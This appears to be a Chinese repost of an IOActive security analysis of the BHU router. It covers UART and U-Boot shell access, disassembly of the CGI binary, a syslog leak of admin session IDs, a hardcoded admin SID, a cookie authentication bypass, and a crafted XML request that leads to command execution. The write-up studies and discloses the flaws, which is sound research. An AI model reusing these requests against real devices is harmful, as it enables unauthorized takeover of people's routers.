首页 > 代码库 > 必虎路由器大量高危漏洞分析
必虎路由器大量高危漏洞分析
前言
这件事情还得从几个月前说起。有一名叫做Tao Sauvage的老外开开心心的来中国旅游。想着得带点中国的土特产回去，选了半天，选中了一款叫做必虎的无线路由器。
看着这个超低的价格和完美的做工，这个老外感觉自己赚大发了，简直是天赐礼物！249！买不了吃亏！249！买不了上当！必虎的英文翻译叫做“Tiger Will Power”，我擦！叼炸天的名字啊！虎之力路由器！感觉身体被掏空！但是因为是国产路由器，谷歌翻译也不准确，他也不懂中文。
怎么办呢？把路由器拆开研究一下看看吧！橙色的地方可以插入一个SD卡，而红色的地方是UART引脚。故事（漏洞），就是从这里开始的，然后以下的“他”将由第一人称来叙述。
提取路由器固件
废话不多说，直接拿BusPirate连接上这些引脚再说！
开启设备后查看自己的终端，返回了以下信息。
它说按下任意键继续。好吧，这个我随便按了键，然后看到了菜单设置。
################################### BHU Device bootloader menu ###################################[1(t)] Upgrade firmware with tftp //通过tftp对固件进行升级[2(h)] Upgrade firmware with httpd //通过httpd对固件进行升级[3(a)] Config device aerver IP Address //设置设备服务器的IP地址[4(i)] Print device infomation //打印设备信息[5(d)] Device test //设备测试[6(l)] License manager //许可证管理[0(r)] Redevice //控制器[ (c)] Enter to commad line (2) //按下c查看其它命令
先按下C发现它用的是U-boot，那么可以对其bootargs参数进行设置，这样就不再局限于init程序内了。
Please input cmd key:CMD> printenv bootargsbootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init(3) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh(4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART)CMD> boot
然后再使用printenv命令查看了U-boot的基本设置情况，然后发现只要引导顺序完成，就会运行“/sbin/init”，而这个二进制文件主要负责初始化路由器的Linux系统的。我们使用setenv命令把‘/sbin/init’ 和 ‘/bin/sh’替换一下，要不然是没有办法访问系统文件的。然后
BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash)Enter ‘help‘ for a list of built-in commands.# lsversion upgrade sbin proc mnt init devvar tmp root overlay linuxrc home binusr sys rom opt lib etc
千辛万苦，现在我已经可以通过shell命令访问路由器，并且提取固件。接下来我可以分析必虎路由器的通用网关接口和WEB界面了。当然，有很多种方式可以提取这个路由器的固件，我采用的是修改U-Boot参数开启网络，把全部的文件复制到我的电脑上。感兴趣的朋友可以看看这篇文章：《LinuxBootArgs》
逆向分析
现在我需要对这些文件进行整理。首先，我得知道哪些文件是属于web管理接口的，而下面这个是路由器的初始设置。
# cat /etc/rc.d/rc.local/* [omitted] */mongoose -listening_ports 80 &/* [omitted] */
这个Mongoose程序开启了80端口，很熟悉的端口啊！估计这个程序就是必虎路由器的WEB服务器程序了。功夫不负有心人，我还是找到了这个WEB程序的相关文档：《mongoose》。根据文档所示，Mongoose会把WEB目录下的所有文件解析为.cgi后缀。如下面所示。
# ls -al /usr/share/www/cgi-bin/-rwxrwxr-x 1 29792 cgiSrv.cgi-rwxrwxr-x 1 16260 cgiPage.cgidrwxr-xr-x 2 0 ..drwxrwxr-x 2 52 .
这个路由器的WEB界面主要依赖于两个非常重要的文件。
cgiPage.cgi：这个文件主要是负责控制面板内的页面排序功能
cgiSrv.cgi：这个文件主要是负责后台管理的各个组件的功能
cgiSrv.cgi这个文件是最有意思的，它可以对路由器所有的设置进行更新，所以我打算先从它开始下手。
$ file cgiSrv.cgicgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped
我使用IDA对其进行逆向分析。虽然这个文件已经剥离了所有的调试符合，包括函数名之类的，但是从main函数开始，这个文件变的有意思起来。
LOAD:00403C48 # int __cdecl main(int argc, const char **argv, const char **envp)LOAD:00403C48 .globl mainLOAD:00403C48 main: # DATA XREF: _ftext+18|o/* [omitted] */LOAD:00403CE0 la $t9, getenvLOAD:00403CE4 nop (6) # 检索请求方式LOAD:00403CE8 jalr $t9 ; getenv (7) # arg0 = “REQUEST_METHOD”LOAD:00403CEC addiu $a0, $s0, (aRequest_method - 0x400000) # "REQUEST_METHOD"LOAD:00403CF0 lw $gp, 0x20+var_10($sp)LOAD:00403CF4 lui $a1, 0x40 (8) # arg0 = getenv(“REQUEST_METHOD”)LOAD:00403CF8 move $a0, $v0LOAD:00403CFC la $t9, strcmpLOAD:00403D00 nop (9) # 检查请求方式是否为POSTLOAD:00403D04 jalr $t9 ; strcmp (10) # arg1 = “POST”LOAD:00403D08 la $a1, aPost # "POST"LOAD:00403D0C lw $gp, 0x20+var_10($sp) (11) # 如果请求方式不是POST就进行跳转LOAD:00403D10 bnez $v0, loc_not_postLOAD:00403D14 nop (12) # 如果请求方式是POST就调用handle_postLOAD:00403D18 jal handle_postLOAD:00403D1C nop/* [omitted] */
同样的逻辑也试用于GET类型的请求。如果收到了GET类型的请求，那么会调用相关的函数，并且重命名为handle_get。让我们一起来看看handle_get函数部分。
上面这个模块流程图主要展示了程序内的“if {} else if {} else {}”判断流程。每个函数部分都会检查数据包是否是GET类型的。我们先来看看A模块吧。
/* [omitted] */LOAD:00403B3C loc_403B3C: # CODE XREF: handle_get+DC|jLOAD:00403B3C la $t9, find_val (13) # arg1 = “file”LOAD:00403B40 la $a1, aFile # "file" (14) # 在URL内检索“file”参数的valueLOAD:00403B48 jalr $t9 ; find_val (15) # arg0 = urlLOAD:00403B4C move $a0, $s2 # s2 = URLLOAD:00403B50 lw $gp, 0x130+var_120($sp) (16) # 如果没有“?file=”参数，那么就跳转其他页面LOAD:00403B54 beqz $v0, loc_not_file_opLOAD:00403B58 move $s0, $v0 (17) # 如果有“file”，那么调用handlerLOAD:00403B5C jal get_file_handlerLOAD:00403B60 move $a0, $v0
在A模块，handler_get函数会先检查在URL内的file参数，并且调用find_val，如果file参数出现在URL内，那么该函数会调用get_file_handler。
LOAD:00401210 get_file_handler: # CODE XREF: handle_get+140|p/* [omitted] */LOAD:004012B8 loc_4012B8: # CODE XREF: get_file_handler+98jLOAD:004012B8 lui $s0, 0x41LOAD:004012BC la $t9, strcmp (18) # arg0 = “file”参数的值LOAD:004012C0 addiu $a1, $sp, 0x60+var_48 (19) # arg1 = “syslog”LOAD:004012C4 lw $a0, file_syslog # "syslog"LOAD:004012C8 addu $v0, $a1, $v1 (20) # 文件的值是否是 “syslog”?LOAD:004012CC jalr $t9 ; strcmpLOAD:004012D0 sb $zero, 0($v0)LOAD:004012D4 lw $gp, 0x60+var_50($sp) (21) # Jump if value of “file” != “syslog” （如果file参数的值不是syslog，那么就jump）LOAD:004012D8 bnez $v0, loc_not_syslogLOAD:004012DC addiu $v0, $s0, (file_syslog - 0x410000) (22) # Return “/var/syslog” if “syslog” （如果是syslog，那么就读取/var/syslog文件）LOAD:004012E0 lw $v0, (path_syslog - 0x416500)($v0) # "/var/syslog"LOAD:004012E4 b loc_4012F0 LOAD:004012E8 nopLOAD:004012EC # ---------------------------------------------------------------------------LOAD:004012EC LOAD:004012EC loc_4012EC: # CODE XREF: get_file_handler+C8|j (23) # 其它情况返回NULL（空值）LOAD:004012EC move $v0, $zero
上面这个函数主要是说明，如果file参数的值是syslog，那么就会读取var目录下的syslog文件。我花了点时间对于这个页面的参数进行了一些分析得出以下结论：
1. page=[<html页面的名称>]
参数值末端都以.html结尾
打开文件，并且返回值
我尝试过去读取其它文件，但是没用，它只能读取HTML文件
2.xml=[<配置名称>]
访问配置名称
XML类型的值
3.file=[syslog]
访问/var/syslog文件
打开文件并且返回内容
4. cmd=[system_ready]
可以返回管理员密码的第一个和最后一个明文信息，可以提升暴力破解的成功率。
该漏洞还有30秒到达战场
我比较在意的是“file”参数。一般调用系统文件都需要二次验证的，比如cookie，ssid之类的，而且系统日志大部分都有脱敏，不会保留什么敏感信息，但是事实呢？
我于是尝试构造了一个请求。
GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1Host: 192.168.62.1X-Requested-With: XMLHttpRequestConnection: close
返回的数据包：
HTTP/1.1 200 OKContent-type: text/plainJan 1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4Jan 1 00:00:09 BHU user.notice kernel: klogger started!Jan 1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU (yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201/* [omitted] */Jan 1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login/* [omitted] */Jan 1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login
居然包含了管理员的cookie，sid等信息。但是，或许这个cookie是历史cookie，没办法继续使用，你不信？那么我给你演示一下。我用这个cookie带入了一个路由器重启界面，然后，路由器居然重启了？？！！
但是这个漏洞利用起来还是有一些缺陷，假设管理员没登陆过系统，或者把登陆记录清楚了，那么怎么办呢？注意看上面的数据包，它还返回了一个sid:700000000000000。我初步看了一下，所有的必虎路由器的管理员SID都是700000000000000，并且管理员都没有办法更改它。那么我们可否把SID当作cookie来用？答案是可以的，如下图所示。
该漏洞已经大杀特杀
虽然我们已经有管理员权限了，但是我们继续看看还有什么可以利用的地方。我继续使用IDA检查了POST的函数处理模块，然而它似乎比GET类型的函数模块更加可怕。
我把这些if模块又分成了A，B，C三个模块，让我们先看看A模块吧。
LOAD:00403424 la $t9, cgi_input_parseLOAD:00403428 nop (24) # 调用 cgi_input_parse()LOAD:0040342C jalr $t9 ; cgi_input_parseLOAD:00403430 nopLOAD:00403434 lw $gp, 0x658+var_640($sp) (25) # arg1 = “op”LOAD:00403438 la $a1, aOp # "op"LOAD:00403440 la $t9, find_val (26) # arg0 = request的Body部分LOAD:00403444 move $a0, $v0 (27) # 得到“op”参数的值LOAD:00403448 jalr $t9 ; find_valLOAD:0040344C move $s1, $v0LOAD:00403450 move $s0, $v0LOAD:00403454 lw $gp, 0x658+var_640($sp) (28) # 如果没有“op”参数,那么就退出LOAD:00403458 beqz $s0, b_exit
这个模块会对POST请求进行解析，并且调用cgi_input_parse()。，并且在（25）部分尝试提取参数op的值。而op的值主要是通过find_val函数调用body的部分得到的。如果op有值，就进行到B模块，否则就执行退出。那么我们再来看看B模块的逆向。
LOAD:004036B4 la $t9, strcmp (29) # arg1 = “reboot”LOAD:004036B8 la $a1, aReboot # "reboot" (30) # “op” 的值是否是“reboot”?LOAD:004036C0 jalr $t9 ; strcmp (31) # arg0 = body[“op”]LOAD:004036C4 move $a0, $s0LOAD:004036C8 lw $gp, 0x658+var_640($sp)LOAD:004036CC bnez $v0, loc_403718LOAD:004036D0 lui $s2, 0x40
这里主要说明，如果op参数的值是reboot，那么会继续到C模块。
(32) # 检查cookie中的SID值LOAD:004036D4 jal get_cookie_sidLOAD:004036D8 nopLOAD:004036DC lw $gp, 0x658+var_640($sp) (33) # SID的Cookie将作为dml_dms_ucmd的第一个参数传递LOAD:004036E0 move $a0, $v0LOAD:004036E4 li $a1, 1LOAD:004036E8 la $t9, dml_dms_ucmdLOAD:004036EC li $a2, 3LOAD:004036F0 move $a3, $zero (34) # 分发任务给dml_dms_ucmdLOAD:004036F4 jalr $t9 ; dml_dms_ucmdLOAD:004036F8 nop
首先，它会先调用一个函数，我把它叫做get_cookie_sid（32部分），然后再把值赋予给dml_dms_ucmd（33部分），然后再调用它（34部分）。随后又会进行到下一步。
(35) # 在v1参数内保存返回的值LOAD:004036FC move $v1, $v0LOAD:00403700 li $v0, 0xFFFFFFFELOAD:00403704 lw $gp, 0x658+var_640($sp)(36) # Is v1 != 0xFFFFFFFE? （v1是否不等于0xFFFFFFFE？）LOAD:00403708 bne $v1, $v0, loc_403774LOAD:0040370C lui $a0, 0x40(37) # If v1 == 0xFFFFFFFE jump to error message （如果v1等于0xFFFFFFFE，那么就跳转到错误信息）LOAD:00403710 b loc_need_loginLOAD:00403714 nop/* [omitted] */LOAD:00403888 loc_need_login: # CODE XREF: handle_post+9CC|jLOAD:00403888 la $t9, mime_headerLOAD:0040388C nopLOAD:00403890 jalr $t9 ; mime_headerLOAD:00403894 addiu $a0, (aTextXml - 0x400000) # "text/xml"LOAD:00403898 lw $gp, 0x658+var_640($sp)LOAD:0040389C lui $a0, 0x40(38) # 输出错误信息“need_login”LOAD:004038A0 la $t9, printf LOAD:004038A4 b loc_4038D0LOAD:004038A8 la $a0, aReturnItemResu # "<return>\n\t<ITEM result=\"need_login\""...
但是假设我们不带入然后值到v1参数（即SID为NULL），那么会怎么样呢？我于是尝试了一下。
然后我分析了一下这整个程序的逻辑：
1.收到op参数
2.调用get_cookie_sid
3.调用dms_dms_ucmd
虽然在GET模块，这个指令应该会执行的，但是在POST的过程中始终会验证SID，这个就有点蛋疼了。
怎么绕过去呢？继续分析get_cookie_sid函数模块。
LOAD:004018C4 get_cookie_sid: # CODE XREF: get_xml_handle+20|p/* [omitted] */LOAD:004018DC la $t9, getenvLOAD:004018E0 lui $a0, 0x40 (39) # 得到HTTP cookiesLOAD:004018E4 jalr $t9 ; getenvLOAD:004018E8 la $a0, aHttp_cookie # "HTTP_COOKIE"LOAD:004018EC lw $gp, 0x20+var_10($sp)LOAD:004018F0 beqz $v0, failedLOAD:004018F4 lui $a1, 0x40LOAD:004018F8 la $t9, strstrLOAD:004018FC move $a0, $v0 (40) # cookie中是否包含“sid=”?LOAD:00401900 jalr $t9 ; strstrLOAD:00401904 la $a1, aSid # "sid="LOAD:00401908 lw $gp, 0x20+var_10($sp)LOAD:0040190C beqz $v0, failedLOAD:00401910 move $v1, $v0/* [omitted] */LOAD:00401954 loc_401954: # CODE XREF: get_cookie_sid+6C|jLOAD:00401954 addiu $s0, (session_buffer - 0x410000)LOAD:00401958LOAD:00401958 loc_401958: # CODE XREF: get_cookie_sid+74|jLOAD:00401958 la $t9, strncpyLOAD:0040195C addu $v0, $a2, $s0LOAD:00401960 sb $zero, 0($v0) (41) # 在“session_buffer”中复制cookie的值LOAD:00401964 jalr $t9 ; strncpyLOAD:00401968 move $a0, $s0LOAD:0040196C lw $gp, 0x20+var_10($sp)LOAD:00401970 b loc_40197C (42) # 把这个值赋予cookieLOAD:00401974 move $v0, $s0
get_session_cookie在得到一个请求后，会检查cookie中是否有sid=这个字符集。如果有，那么某处全局变量将会赋值一个cookie给该参数。当调用dml_dms_ucmd时，返回的值都会用作于第一个参数，而这一切都是在libdml.so函数库中实现。那么也就是说，对于cookie的效验都是在这个库中进行的，那么让我们来看一下这个库。
.text:0003B368 .text:0003B368 .globl dml_dms_ucmd.text:0003B368 dml_dms_ucmd:.text:0003B368/* [omitted] */.text:0003B3A0 move $s3, $a0.text:0003B3A4 beqz $v0, loc_3B71C.text:0003B3A8 move $s4, $a3 (43) # 记住 a0 = SID cookie的值 # 或者可以说是，如果a0什么都不包含（NULL），那么s1 = 0xFFFFFFFE.text:0003B3AC beqz $a0, loc_exit_function.text:0003B3B0 li $s1, 0xFFFFFFFE/* [omitted] */.text:0003B720 loc_exit_function: # CODE XREF: dml_dms_ucmd+44|j.text:0003B720 # dml_dms_ucmd+390|j ....text:0003B720 lw $ra, 0x40+var_4($sp) (44) # 返回 s1 (s1 = 0xFFFFFFFE).text:0003B724 move $v0, $s1/* [omitted] */.text:0003B73C jr $ra.text:0003B740 addiu $sp, 0x40.text:0003B740 # End of function dml_dms_ucmd
只要我第一个参数不要带入空（NULL），那么就不会返回0xFFFFFFFE(-2)。也就是说我cookie随便填写一个都可以成为管理员？！
好吧，我随便写了个cookie，然后进行重启，依然生效了。。。。。花费那么长时间，居然发现cookie可以随意设定！但是一切都是值得的，我起码知道这个问题出在哪里了。
漏洞已经跑到对方血池大杀特杀了
我简单整理了一下前面的工作，然后总结出以下方法可以得到管理员权限：
1. SID写任意字符，只要不为空就行。
2. 查看系统日志得到管理员的cookie
3. SID的值为700000000000000即可
我们现在已经知道了POST模块的处理过程和op参数的基本逻辑，但是这个模块还可以处理一些XML请求，让我们对它继续分析下去。
/* [omitted] */LOAD:00402E2C addiu $a0, $s2, (aContent_type - 0x400000) # "CONTENT_TYPE"LOAD:00402E30 la $t9, getenvLOAD:00402E34 nop (45) # 收到“CONTENT_TYPE”的请求LOAD:00402E38 jalr $t9 ; getenvLOAD:00402E3C lui $s0, 0x40LOAD:00402E40 lw $gp, 0x658+var_640($sp)LOAD:00402E44 move $a0, $v0LOAD:00402E48 la $t9, strstrLOAD:00402E4C nop (46) # 是否属于“text/xml” 请求?LOAD:00402E50 jalr $t9 ; strstrLOAD:00402E54 addiu $a1, $s0, (aTextXml - 0x400000) # "text/xml"LOAD:00402E58 lw $gp, 0x658+var_640($sp)LOAD:00402E5C beqz $v0, b_content_type_specified/* [omitted] */ (47) # 得到SID cookie的值LOAD:00402F88 jal get_cookie_sidLOAD:00402F8C and $s0, $v0LOAD:00402F90 lw $gp, 0x658+var_640($sp)LOAD:00402F94 move $a1, $s0LOAD:00402F98 sw $s1, 0x658+var_648($sp)LOAD:00402F9C la $t9, dml_dms_uxmlLOAD:00402FA0 move $a0, $v0LOAD:00402FA4 move $a2, $s3 (48) # 调用‘dml_dms_uxml’函数模块, 并且对body部分和cookie进行效验LOAD:00402FA8 jalr $t9 ; dml_dms_uxmlLOAD:00402FAC move $a3, $s2
继续往下看，貌似dml_dms_uxml比dml_dms_ucmd更加奇葩。
.text:0003AFF8 .globl dml_dms_uget_xml.text:0003AFF8 dml_dms_uget_xml:/* [omitted] */ (49) # 把SID的值复制到s1内.text:0003B030 move $s1, $a0.text:0003B034 beqz $a2, loc_3B33C.text:0003B038 move $s5, $a3 (50) # 如果SID的值为空（NULL）.text:0003B03C bnez $a0, loc_3B050.text:0003B040 nop.text:0003B044 la $v0, unk_170000.text:0003B048 nop (51) # 那么就把空的SID值替换为一个硬件编码（700000000000000）.text:0003B04C addiu $s1, $v0, (a70000000000000 - 0x170000) # "700000000000000"/* [omitted] */
这个逻辑的感觉就好像是，如果你的没有钱买东西，那么我会给你钱去消费。OMG！真TM人性化的设计！总的来说，如果要使用这个功能，cookie可以直接为空。那么可以构造数据包如下：
POST /cgi-bin/cgiSrv.cgi HTTP/1.1Host: 192.168.62.1Content-Type: text/xmlX-Requested-With: XMLHttpRequestContent-Length: 59Connection: close<cmd><ITEM cmd="traceroute" addr="127.0.0.1" /></cmd>
继续研究发现还可以命令执行：
这个路由器就像个定时炸弹一样，搞一台在家里面可能莫名其妙的就被人家装上后门监听着了。
* 参考来源：ioactive
必虎路由器大量高危漏洞分析